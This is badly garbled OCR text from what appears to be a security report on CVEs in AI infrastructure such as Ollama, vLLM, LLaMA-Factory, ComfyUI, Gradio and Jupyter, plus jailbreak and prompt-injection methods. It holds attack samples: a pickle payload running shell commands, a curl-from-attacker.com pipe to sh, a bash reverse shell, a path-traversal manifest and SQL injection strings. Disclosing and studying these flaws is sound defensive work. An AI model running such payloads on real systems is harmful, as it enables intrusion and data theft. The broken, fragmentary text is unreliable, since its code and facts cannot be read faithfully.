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Agent
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Ollama

Gradio  Streamlit Python

LangKit
Dynatrace @ DataDog

Guardrails LLM
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v 2
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Intelligence

KR 22 2

N

Al

Al

Embodied
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llama.cpp Ollama Dify LangChain

Agent
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RCE
RPC MyModel

Python _ reduce__ id;ls

class MyModel(nn.Module):
def _init_ (self):
super(MyModel, self).__init_ ()
self.fc = nn.Linear(2, 2)
def _reduce__(self):

return (_import_ (‘os").system, ("id;Is")))

RemoteModule
remote_model(input_tensor) id;Is

uid=0(root) gid=0(root)

Istio

RPC

LLaMA-Factory Hugging Face Transformers
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DeepSpeed FSDP

Web

CVE-2024-52803 LLaMA-Factory
<=09.0
Popen() shell=True output_dir
/tmp; curl

http://attacker.com/exploit.sh | sh

src/llamafactory/webui/runner.py

384 (e def _launch{self, data: Dict["Component™, Any], do_train: bool) -> Generator[Dict["Component”, Any], None, Mone]:

385 output_box = self.manager.get_elem_by_id("{}.output_box".format({"train" if do_train else "eval"))

else:
self.do _train, self.running data = do_train, data
args = self._parse_train_args{data) i< do_train =1s= self._parse_eval_args(data)

os.makedirs(args["output_dir"], exist ok=True}
save args{os.path.join(args["output_dir"], LLAMABOARD CONFIG), self. form config dict(«

env = deepcopy(os.environ)
env["LLAMABOARD_ENABLED™] = "1"
env["LLAMABOARD WORKDIR"] = args["output dir"]

ety

J mEsE memllem - - - g

I
env=env, shell=True)

j 323 self.trainer = Popen(f"llamafactory-cli train{zave_cmd(args)}",
324 yield from self.monitor()
325

save_cmd(args)
Web output_dir ;
| Popen()

shell=True Shell
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/
/
VLLM
GPU
VLLM
VvLLM
1 CVE-2024-8768 VLLM
CVsSs v4 8.7 CWE-617
prompt API VLLM API
2 CVE-2024-8939 VLLM JSON Web API
CVSS v4 6.9 CWE-400
vLLM JSON Web API best_of
LLM API best_of
API

API

3 CVE-2025-24357 vLLM hf_ model weights_iterator torch.load

RCE
CVSS v4 7.5 CWE-502
vlim/model_executor/weight_utils.py hf model weights_iterator
huggingface torch.load()

ilab
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weights_only False

torch.load()

repo

torch.load()

PyTorch

torch.load() unless weights_only parameter is set to True, uses pickle module implicitly, which is known to be
insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never
load data that could have come from an untrusted source in an unsafe mode, or that could have been tampered

pickle

(ON)

torch.load()
pickle

False

~ -1* 8 EEEE  vlim/model executor/model loader/ueight utils.py [0

pickle

weights_only

True

weights_only

* AR -91 7 +a3 sef fnuert hin to cafetencon £ilal
g3t ot_filename: str, 9313 ot_filename: str,
sf_filename: str, g4l | sf_filename: str,
3 -> Nane: 951 3 -> Nona:
) [ PO L i I — T E—r e 020 B ) - St b S A ) rsirige =" Tyl T
d: if "state_dict” in loaded: i< "state_dict” in loade
ite_dict"] loaded = loaded["state_dict"] loaded = loaded[
=(loaded) shared = _ ters(loaded) shared =
:ache_weights_iterator( : @8 -381,7 +381,9 @@ def np_c
ot enable_tqdm, 381 disable=not enable_tgdm, 381 ciszols-
lat= BAR FORMAT,.  _ _ . Ry bar format= RAR FORMAT, _ 382 bar Forn
)z 383 )z 383
state = torch.load(bin_file, map_location="cpu") 384 state = torch.load(bin_file, 384
385 map_location="cpu",
386 weights_only=Trus)
for name, param in state.: 387 for name, param in state.: : 385
.pacam oath o e oo Snlgse memslil u i . el oy REF .nanem oo b = nc oo o S01PBT ISl . ol . o ey wen, PR
387 with open(param_path, "wb"} as f: 389 with open(parem_path, "wb®) as f:
* AfeiiSeTeni T T 7T 0T g AInIe Biasfomfras r se1gavs_tTesemor:
270 disable=not enable_tqdm, 429 disable=not enable_tqdm,
443 bar_format=_BAR_FORMAT, as0 bar_format=_BAR_FORMAT,
449 ) 451 ):
cwriobte soluoToigl. B - state = tnpch Toadfhin £ile_.man_ lpcatiopstcount) — [ e chota -+ hin £ile.mar. Jocation
451 yield from state.izems() 453 yield from state
:ace . D +z TI. STETe . o = - ST
cuda.empty_cache () 453 torch. cuda.empty_cache() 252 torch.

vLLM
weights_only True

4 CVE-2025-25183 VLLM

Python 3.12

torch.load()

hash()
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CVSS v4 2.6 CWE-
916 vLLM Python hash() Python 3.12
hash(None) prompts
2
GPT BERT
GPU/
TPU REST APl WebSocket
Ollama Meta
Meta LLaMA /
Al
Ollama

1 CNVD-2025-04094 Ollama /api/tags
Ollama 11434
restful api
Ollama Ollama  docker
root Ollama

Ollama Prompt
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2 CVE-2024-28224 Ollama DNS

CVSS v4 8.8 DNS

CWE-350 Ollama DNS Ollama API

API API Ollama

3 CVE-2024-37032 Ollama

CWE-22 0.1.34 Ollama
64 sha256

TestGetBlobsPath 64 64

A

Ollama API /api/pull Ollama

Ollama registry.ollama.com

http://[victim]:11434/api/pull API digest
payload

{

"schemaVersion™: 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config™: {
"mediaType": "application/vnd.docker.container.iimage.vl+json”,
"digest™. "../../../../1..1../1../ . .[traversal",

"size": 5
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2
"layers™: [
{
"mediaType": "application/vnd.ollama.image.license",
"digest™: "../././.1.1.1.1.1.1././. [traversal",
"size": 7020
}
]
}
digest digest

/root/.ollama/models/blobs/sha256-
04778965089b91318ad61d0995b7e44fad4b9a9f4e049d7be90932bf8812e828

Ollama  digest
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@ -6,6 +6,7 @@ import (
5 "net/url” 6 “net/url”
@ "os” 7 “os"
8 "path/filepath” 8 "path/Filepath®
9 “regexp”
“strings” 18 “strings”
1 ) n )
11 12
A @ -25,9 +26,16 @@ const (
25 ) 26 )
26 27
27 var ( 28 var (
“invalid image format") B - ErrInvalidImageFormat = errors.New("invalid image format") 3 - ErrInvalidinageformat = errors.lew(
"invalid protocol scheme”) 9 - ErrInvalidProtocol = errors.New("invalid protocol scheme™) 3 . ErrImvalidProtocal = errors.lew(
erre eSS preTies. i g -2 FanTn RS T | LAPRE v-proes - T O EITETT (
: = errors.New("invalid digest format”) 32+ ErrInvalidigestFormat
a1 ) 3 )
32 33
i c . L Re e fvon RaRreiocelRattl sasar i sing ) tatet0orn ¢ B e fuor RappelloielRathlemass fals
@8 -149,6 +151,17 8@ func GetBlobsPath(digest string) (string, error) {
149 return "", err 151 return "", err
e 3 152 ¥
151 153
ts 158+ /1 only accept actual sha2Se diges
{6438" 155 -+ pattern := "Asha256[:-][0-9a-FA-F]
156 + re i= regexp.MustCompile(pattern)
i [ if err 1= nil {
158 + return "", err
159 -+ ¥
168 -+
J(digest) { 61 -+ if gigest 1= "" 8& !re.Matchstring
‘tFormat 62 + return "", ErrInvalidDiges
163 + ¥
68 -+
s -y 152 digest = strings.Replacenll(aigest, ", 165 digest = strings.ReplaceAll(digest
', digest) 153 path := filepath.Join(dir, "blobs”, digest) 166 path := filepath.loin(dir, "blobs
154 dirPath := filepath.Dir(path) 167 dirPath := filepath.Dir(path)

digest
4 CVE-2024-39719 Ollama
CVSS v4 7.5 CWE-
209 Ollama 0.3.14

CreateModel

5 CVE-2024-39720 Ollama
CVSS v4 8.8 CWE-125 Ollama 0.1.46
HTTP GGUF
4 GGUF

blob FROM Modelfile CreateModel

6 CVE-2024-39721 Ollama goroutine

CVSS v4 7.5 CWE-404
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Ollama 0.1.34 CreateModelHandler() 0s.open()
reqg.Path /dev/random
/dev/random goroutine HTTP
goroutine

7 CVE-2024-39722 Ollama
CVSS v4 7.5 CWE-22 Ollama 0.1.46

api/push

8 CVE-2024-45436 Ollama

CVSS v4 8.7 CWE-22 Ollama 0.1.47
model.go extractFromZzZipFile() ZIP
Wi
3
VLLM
prompt
CVE-2025-24357 Ollama
DNS API
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to/path A )../to/path .Jto/path
/api/system/logo HTTP GET

logo logo determineLogoFilepath()

fetchLogo logo_filename

./ ./anythinglim.db
/app/server/storage/assets

/app/server/storage/anythinglim.db

GET
QAnything

QAnything

Word PPT

QAnything SQL
7099 IN SQL
SQL SQL

CVE-2024-25722

determineLogoFilepath()

basePath

anythinglim.db

/api/system/remove-logo

PDF

QAnything

CVE-2024-25722

CVE-2024-
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kb_ids SQL
join({}" . format(str(x)) for x in kb_ids)  kb_ids
SQL IN
kb_ids
SQL kb_ids "1'OR '1'="1"

SQL SELECT kb_id FROM KnowledgeBase WHERE kb_id IN
("1, "1 OR '1'="1") AND deleted = 0 AND user_id = 100

OR'1'="1"

CVE-2024-7099

I3z EEX
def delete_files(self, kb_id, file_ids):

file_ids_str = *,'.join{("'{}'".format(str(x)) for x in file_ids)

query = "UPDATE File SET deleted = 1 WHERE kb_id = %s AND file_id IN ({})".format({file_ids_st
query = "UPDATE File SET deleted = 1 WHERE kb_id = %s AND file_id IN ({})"

query = self.plac rs(query,file_ids)

query_params = [k

debug_logger. i

self.

self.

file_ids SQL

file_ids

"1'OR '1'="1" SQL SQL UPDATE File
SET deleted = 1 WHERE kb_id = %s AND file_id IN (‘1" OR '1'="1") OR
lll:lll
RAGFlow

RAGFlow RAG Retrieval-Augmented Generation
RAGFlow
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API
Agent

RAGFlow
< chatbot RuslgER 3’

CVE-2024-10131 lim_app.py add_lim()

et s B @ llm_app.py 9 X
~ RAGFLOW-0.11.0 api > apps > @ lim_app.py > @ set_api_key
119  @manager.rautel’/a

« apps -
> sdk
® __init__.py
% aplapp.py
@ (canvas_appipy
= cchurk_app.py
ERARgu— 3o ALSEADIE"&T REap1. <&y enTpo Ll
@ dataset_api.py 129 1im_name = req["llm_name
= dialeg_app.py 5 I|1" LxﬁJi._-icgﬁia,a
IR R Gk eliY" facto;
@ file_3pR.0y
% file2document_app.py

=

reggget( funyuan- sid
eqiget(hunyuan::

| @ lIm_app.py 9
T e & system_app.py
@ tenant_app.py

ag anp,
e . 182 # Fer Bedrock, due to its specizl authenticeti
P nD 143 # Assemble bedrock_ak, bedrock_sk, bedrock_reg
® _init__py ® 144 1lm_name = req["”1lm_name"]
i x

me'] +%- - LocalAI™
KRR KK I KKK K™
“OpenAI-APT-Compat ible":
req["lm_name"] +"__OpenAI-API™

elif factory
1im_name

api_key R S ]
elif factory
FECEEEN | name |
e e T ] 156 api_key = req.get(“spark_api_password'
157 elif factory == "BaiduYiyan":

req['llm_factory']  req['llm_name']

EmbeddingModel ChatModel RerankModel CvModel TTSModel
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llm_factory

Ul

Ul

ul OpenWebUl  Gradio

OpenWebUI

OpenWebUI Web

CVE-2024-7037 /api/pipelines/upload

filename
Gradio

Gradio Python
Python

Gradio
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Gradio
Gradio Web
Gradio CVE-2023-6572 generate-
changeset.yml github
github.event.workflow_run.head_branch
workflow_run
trigger changeset generation
Generate changeset
payload
Shell zzz";echo${IFS}"hello"#
Generate changeset get-pr
generate-
changeset.yml


https://github.com/gradio-app/gradio/blob/main/.github/workflows/generate-changeset.yml
https://github.com/gradio-app/gradio/blob/main/.github/workflows/generate-changeset.yml
https://github.com/gradio-app/gradio/commit/5b5af1899dd98d63e1f9b48a93601c2db1f56520#diff-f7dbe34438a60edb43620374d4ce068359e59ed1fecd39935acd1c8472776861
https://github.com/gradio-app/gradio/commit/5b5af1899dd98d63e1f9b48a93601c2db1f56520#diff-f7dbe34438a60edb43620374d4ce068359e59ed1fecd39935acd1c8472776861
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~ .github/workflows/generate-changeset.yml ’i
10 10 NODE_OPTIONS: "--max-old-space-S4ze=:

11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

11
12 concurrency:
13 group: ${{ github.event.workflow_run.head_repository.full_name }}::${{ github.event.worK¥iow
14
15 jobs:
16 get-pr:
17 runs-on: ubuntu-latest
18 if: github.event.workflow_run.conclusion == 'success'
19 outputs:
20 found_pr: ${{ steps.pr_details.outputs.found_pr }}
21 pr_number: ${{ steps.pr_details.outputs.pr_number }}
source_repo: ${{ steps.pr_details.outputs.source_repo }}

23 source_branch: ${{ steps.pr_details.outputs.source_branch }}
24 steps:

P - name: echo concurrency group

- run: echo ${{ github.event.workflow_run.head_repository.full_name }}::${{ github.event.wurkflow_run.heaj.p_ra.ns'};n,.}\,,_
25 - name: get pr details
26 id: pr_details
27 uses: gradio-app/github/actions/find-pr@main
28 with:
29 .- |
30 comment-changes-start:
£ uses: "./.aithuh/workflowss Tinen ==

Shell

${{ 1

Shell

${{ bash -i >& /dev/tcp/ P/ 0>&1}} Shell
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Ray

Ray
Python Java C++
Ray Ray Serve

Ray Train  Ray Tune

Ray CVE-2023-8 0 07A95
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KubePi / internal / api / v1 [ session / session.go T Top
[ Code | Blame 430 lines (484 loc) - 12.7 KB 8 rw D& 72 - [
s ERER- TS @ Yy

24 "git.hub.com/Kuheﬂg werator/kubepi/pka/network/ip"

25 'github.com/KubeOperator/kubepi/pkg/terminal"

26 "'github.com/asdine/storm/v3"

27 "github.com/kataras/iris/v12"

28 "'github.com/kataras/iris/v12/context"

29 "github.com/kataras/iris/v12/middleware/jwt"

30 "'golang.org/x/crypto/becrypt”

31 vl "k8s.io/api/rbac/vl"

32 metavl "k8s.io/apimachinery/pkg/apis/meta/v1l"

33 )

34

35 «++ var JwtSigKey = [lbyte("signature_hmac_secret_shared_key") 8 ~

36 var jwtMaxAge = 10 = time.Minute

37

38 v type Handler struct {

39 userService user.Service

40 roleService role.Service

41 clusterService cluster.Service

42 rolebindingService rolebinding.Service

43 ldapService 1ldap.Service

44 jwtSigner *jwt.Signer

45 }

46

session.go JwtSigKey

jwt token JwtSigKey

AnythingLLM QAnything RAGFlow Ul OpenWebUI

Gradio / Ray KubePi

SQL
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1
ComfyUl Al
GPU/CPU Al
ComfyUl
ComfyUl Stable Diffusion
Al
Al
ComfyUl-Manager ComfyUl
GitHub
ComfyUl-Manager
Al
ComfyUIl-Manager
CVE-2024-21574 /customnode/install POST
pip
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Python
URL
POST
pip pip install

805

~

@Prang iy . dnstanas. aeutes. pas td "Yous tamnede tnsta 1)

pip POST pip install

CVE-2024-21574

/customnode/install pip
Python URL
pip
ComfyUl-Impact-Pack
ComfyUl-Impact-Pack ComfyUl
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ComfyUl-Impact-Pack

ComfyUl-Impact-Pack

ComfyUl-Impact-Pack CVE-2024-21575

RCE

ComfyUl-Impact-Pack HTTP
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27 @PromptServer.instance.routes.post("/upload/temp")
vee 28 W }ssync def upload_image(request):

29 upload_dir = folder_paths.get_temp_directory()

30

31 if not os.path.exists(upload_dir):

32 os.makedirs(upload_dir)

33
T o GLERE PERRER e LTV D A

S i act no+lli r

" revurn
B8lse:
return

ComfyUl-Impact-Pack

ComfyUl-Login
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Markdown JupyterLab
JupyterLab
Markdown
JupyterLab
Jupyter-Notebook
Jupyter Notebook
JupyterLab JupyterLab  Jupyter Notebook
Notebook
Jupyter
Notebook
Jupyter-Notebook
Jupyter Notebook  Web
Jupyter Notebook Jupyter Notebook  Web
Python
Jupyter Notebook 8888
http://<target_ip>:8888 Jupyter Notebook  Web
Terminal shell
Jupyter Notebook Jupyter Notebook
IP IP
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Jupyter Notebook

Jupyter-Server
Jupyter Server  Jupyter Web API
MVC Tornado
Web Jinja2

API
CVE-2024-28179 Jupyter Server Proxy

WebSocket

146  + # decorate that with web.authenticated, and call the decorated function.

147+ # super().prepare became async with jupyter server v2

148 + _prepared = super().prepare(*args, **kwargs)

283 proxy WebSocket
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@web.authenticated WebSocket
prepare 133-165
WebSocket Upgrade: websocket self.current_user

403

ComfyUl ComfyUl-Impact-Pack
ClickHouse Jupyter-Lab Jupyter-

Notebook Jupyter-Server

Web LLM API
API
SSRF
1 Jailbreaking
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LLM

LLM

LLM
LLM

LLM
PNG
token
LLM AutoPrompt
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Base64

Refinement

ROT13

PAIR

LLM

JAILJUDGE Guard

Easyailbreak

2023 3

Al

OpenAl

LLM

LLM

ChatGPT

API

Prompt Automatic Iterative

DeepEval
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2024 10 5000 Al
2025 1 Wiz Research DeepSeek
ClickHouse
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3 Prompt

Prompt Prompt
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13 ” AI
Al
Prompt
Al
Markdown GET
XSS
XSS LLM
Al
XSS
Cookie
LLM
SSRF  SQL
LLM
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LLM
Al HTTP

URL SSRF Kubernetes

Nday

Ollama
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Al

Al

60% 40% :

API

DeepSeek”

Al
Al
Al

Al

Al
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